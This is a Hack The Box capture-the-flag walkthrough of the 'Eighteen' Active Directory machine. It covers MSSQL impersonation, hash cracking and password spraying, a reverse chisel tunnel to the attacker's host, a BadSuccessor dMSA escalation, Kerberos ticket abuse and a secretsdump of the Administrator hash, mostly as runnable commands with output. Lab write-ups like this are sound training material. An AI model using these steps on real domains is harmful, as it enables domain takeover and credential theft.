Eighteen is an Easy-rated Windows machine on Hack The Box. It demonstrates how to perform a red-team attack against Active Directory by leveraging impersonation and weak permissions that can lead to Resource-Based Constrained Delegation (RBCD).
The machine uses an assumed-breach attack vector and we are provided with the credentials kevin:iNa2we6haRj2gaw! initially.
Note: The nmap scan might not reveal all the ports when the machine has just started. Give it some time to load processes after it boots.
We start things off with an nmap service scan.
nmap -sVC --min-rate 1000 10.10.11.95 -p-
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-16 00:44 IST
Nmap scan report for eighteen.htb (10.10.11.95)
Host is up (0.15s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Welcome - eighteen.htb
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_ssl-date: 2025-11-16T02:16:43+00:00; +7h00m17s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-11-16T02:03:46
|_Not valid after: 2055-11-16T02:03:46
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 7h00m16s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 101.57 seconds
The scan reveals three ports - 80 (Website), 1433(MSSQL Server) and 5985 (WinRM).
We also see that the domain name being used is eighteen.htb.
It is imperitive we add the domain to our /etc/hosts to proceed further.
echo "10.10.11.95 eighteen.htb" | sudo tee -a /etc/hosts
The website reveals an app about financial services is hosted on the server.
The website does have a login and register page indicating that the server has a well working authentication system.
We can create an account at http://eighteen.htb/register.
On logging into the freshly created account, we can see a session cookie that resembles Flask. This cookie gives away the tech stack used to build the site.
Next, we move to the MSSQL server. We can connect to it using impacket's mssqlclient.py and the credentials provided earlier.
mssqlclient.py eighteen.htb/kevin:'iNa2we6haRj2gaw!'@eighteen.htb
Next, we start enumeration (only the commands that reveal useful information are listed here).
A list of basic commands built into mssqlclient.py can be accessed using:
SQL (kevin guest@master)> help
lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
enable_xp_cmdshell - you know what it means
disable_xp_cmdshell - you know what it means
enum_db - enum databases
enum_links - enum linked servers
enum_impersonate - check logins that can be impersonated
enum_logins - enum login users
enum_users - enum current db users
enum_owner - enum db owner
exec_as_user {user} - impersonate with execute as user
exec_as_login {login} - impersonate with execute as login
xp_cmdshell {cmd} - executes cmd using xp_cmdshell
xp_dirtree {path} - executes xp_dirtree on the path
sp_start_job {cmd} - executes cmd using the sql server agent (blind)
use_link {link} - linked server to use (set use_link localhost to go back to local or use_link .. to get back one step)
! {cmd} - executes a local shell cmd
show_query - show query
mask_query - mask query
We begin with enumerating databsases.
SQL (kevin guest@master)> enum_db
name is_trustworthy_on
----------------- -----------------
master 0
tempdb 0
model 0
msdb 1
financial_planner 0
There is a database named financial_planner, which should be related to the website but kevin is not allowed to access it.
Enumerating linked servers, we obtain the name for the Domain Controller (DC01).
SQL (kevin guest@master)> enum_links
SRV_NAME SRV_PROVIDERNAME SRV_PRODUCT SRV_DATASOURCE SRV_PROVIDERSTRING SRV_LOCATION SRV_CAT
-------- ---------------- ----------- -------------- ------------------ ------------ -------
DC01 SQLNCLI SQL Server DC01 NULL NULL NULL
A fruitful result is obtained when checking for the IMPERSONATE permission.
SQL (kevin guest@master)> enum_impersonate
execute as database permission_name state_desc grantee grantor
---------- -------- --------------- ---------- ------- -------
b'LOGIN' b'' IMPERSONATE GRANT kevin appdev
OR
SELECT * FROM sys.server_permissions WHERE permission_name = 'IMPERSONATE';
Apparently, kevin can impersonate the appdev account. To impersonate appdev and access the financial_planner database:
SQL (kevin guest@master)> EXECUTE AS LOGIN = 'appdev';
SQL (appdev appdev@master)> use financial_planner;
ENVCHANGE(DATABASE): Old Value: master, New Value: financial_planner
INFO(DC01): Line 1: Changed database context to 'financial_planner'.
For people who like to search the web for CVEs, the major hint that leads us down this same path is CVE-2025-24999
The database contains a users table.
SQL (appdev appdev@financial_planner)> SELECT table_name FROM information_schema.tables;
table_name
-----------
users
incomes
expenses
allocations
analytics
visits
Inside the users table, we find the admin account along with its pbkdf2-sha256 hash.
SQL (appdev appdev@financial_planner)> select * from users;
id full_name username email password_hash is_admin created_at
---- --------- -------- ------------------ ------------------------------------------------------------------------------------------------------ -------- ----------
1002 admin admin [email protected] pbkdf2:sha256:600000$<HIDDEN> 1 2025-10-29 05:39:03
We copy this hash for brute-forcing for now.
The box does not expose any windows service except winrm and mssql. Kevin is not allowed to connect to winrm but only to mssql. The next step then would be to use netexec to brute force Windows Accounts' RID.
nxc mssql 10.10.11.95 -u kevin -p 'iNa2we6haRj2gaw!' --local-auth --rid-brute
This gives a list of users. We copy the potentially useful usernames (last 10) to users.lst.
Having obtained the password hash and a list of possible usernames it could belong to, we move towards getting a foothold.
The password hash is not in a hashcat-friendly format. To convert it to hashcat's format, we use this script.
If
xxdis not installed:sudo apt install xxd
chmod +x pbkdf2Flask_hashcat.sh
./pbkdf2Flask_hashcat.sh 'pbkdf2:sha256:6000$<HIDDEN>' > hash.txt
And finally, crack it.
hashcat -a 0 hash.txt /usr/share/seclists/rockyou.txt -w 3
This reveals the password within a few minutes.
Next, we use the user list we created along with this password to perform a password spray attack.
nxc winrm 10.10.11.95 -u users.lst -p '<hidden>'
WINRM 10.10.11.95 5985 DC01 [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:eighteen.htb)
WINRM 10.10.11.95 5985 DC01 [-] eighteen.htb\jane.smith:<hidden>
WINRM 10.10.11.95 5985 DC01 [+] eighteen.htb\adam.scott:<hidden> (Pwn3d!)
Finally, we can successfully connect to the server as adam.scott using evil-winrm.
evil-winrm -i eighteen.htb -u adam.scott -p '<hidden>'
Having connected as adam.scott through evil-winrm, we can obtain the user flag from his Desktop folder.
*Evil-WinRM* PS C:\Users\adam.scott\Documents> type C:\Users\adam.scott\Desktop\user.txt
Next, we move on to explore what privileges we have as Adam.
*Evil-WinRM* PS C:\Users\adam.scott\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Apparently, Adam.Scott can add workstations and increase working set privilege. These privileges point toward Resource Based Constrained Delegation (RBCD), more precisely, a BadSuccessor attack seems promising.
Before moving further, since the machine does not expose many ports, we upload chisel to access all the services running on the machine.
*Evil-WinRM* PS C:\Users\adam.scott\Documents> upload chisel.exe
Next, we start chisel in server mode on our machine, and in client mode on the target.
chisel server --reverse --socks5 -p 6000
Start-Process -FilePath C:\Users\adam.scott\Documents\chisel.exe
-ArgumentList "client","10.10.16.x:6000","R:socks"
Having prepared the basic setup for performing the Bad Successor attack, we can now proceed with the attack. We used chisel because Rubeus does not work as demonstrated in the official ReadMe to obtain the tickets later in the attack so, we use a workaround (Impacket's getST.py). The BadSuccessor.exe binary can be downloaded from here.
Next, we upload the binary.
evil-winrm-py PS C:\Users\adam.scott\Documents> upload BadSuccessor.exe .
Then identify the target Organisational Units (OUs).
evil-winrm-py PS C:\Users\adam.scott\Documents> ./BadSuccessor.exe find
______ __ _______
| __ \ .---.-.--| | __|.--.--.----.----.-----.-----.-----.-----.----.
| __ < | _ | _ |__ || | | __| __| -__|__ --|__ --| _ | _|
|______/ |___._|_____|_______||_____|____|_____|_____|_____|_____|_____|__|
Researcher: @YuG0rd
Author: @kreepsec
[*] OUs you have write access to:
-> OU=Domain Controllers,DC=eighteen,DC=htb
Privileges: GenericWrite, GenericAll
-> OU=Staff,DC=eighteen,DC=htb
Privileges: GenericWrite, GenericAll, CreateChild
Create the malicious account.
evil-winrm-py PS C:\Users\adam.scott\Documents> .\BadSuccessor.exe escalate -targetOU "OU=Staff,DC=eighteen,DC=ht
b" -dmsa IceBreaker -targetUser "CN=Administrator,CN=Users,DC=eighteen,DC=htb" -dnshostname IceBreaker -user ada
m.scott -dc-ip 10.10.11.95
______ __ _______
| __ \ .---.-.--| | __|.--.--.----.----.-----.-----.-----.-----.----.
| __ < | _ | _ |__ || | | __| __| -__|__ --|__ --| _ | _|
|______/ |___._|_____|_______||_____|____|_____|_____|_____|_____|_____|__|
Researcher: @YuG0rd
Author: @kreepsec
[*] Creating dMSA object...
[*] Inheriting target user privileges
-> msDS-ManagedAccountPrecededByLink = CN=Administrator,CN=Users,DC=eighteen,DC=htb
-> msDS-DelegatedMSAState = 2
[+] Privileges Obtained.
[*] Setting PrincipalsAllowedToRetrieveManagedPassword
-> msDS-GroupMSAMembership = adam.scott
[+] Setting userAccountControl attribute
[+] Setting msDS-SupportedEncryptionTypes attribute
[+] Created dMSA 'IceBreaker' in 'OU=Staff,DC=eighteen,DC=htb', linked to 'CN=Administrator,CN=Users,DC=eighteen,DC=htb' (DC: 10.10.11.95)
And move to the final phase of extracting the ticket.
For executing this, the latest version of Fortra-Impacket from the main branch which supports the
-dmsaflag is required.
Before proceeding further, we need to sync our time with the domain controller.
sudo date -s "$(proxychains4 -q net time -S dc01.eighteen.htb)"
Next, we get the TGT for Adam.Scott for kerberos authentication.
proxychains4 getTGT.py eighteen.htb/adam.scott:'iloveyou1'
[proxychains] config file found: /etc/proxychains4.conf
export KRB5CCNAME=adam.scott.ccache
Then we impersonate IceBreaker through Adam.Scott and dump IceBreaker's krbtgt.
proxychains4 getST.py 'eighteen.htb/adam.scott':'iloveyou1' -impersonate 'IceBreaker$' -self -dmsa -dc-ip 10.10.11.95
Now, using this ticket, we get a service ticket for cisf/dc01.eighteen.htb to dump credentials.
export KRB5CCNAME='IceBreaker$@[email protected]'
proxychains4 getST.py -k -no-pass -spn cifs/dc01.eighteen.htb -dc-ip 10.10.11.95 'eighteen.htb/IceBreaker$'
And finally, dump Administrator's credentials using the service ticket.
export KRB5CCNAME='IceBreaker$@[email protected]'
proxychains4 secretsdump.py -k -no-pass -just-dc-user administrator -dc-ip 10.10.11.95 -target-ip 10.10.11.95 dc01.eighteen.htb
This reveals the admin hash.
Finally, we can connect as Administrator by simply using evil-wirnm and the obtained hash.
evil-winrm -i 10.10.11.95 -u Administrator -H '<hidden>'
To read the root flag:
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ../Desktop/root.txt
This concludes Eighteen machine.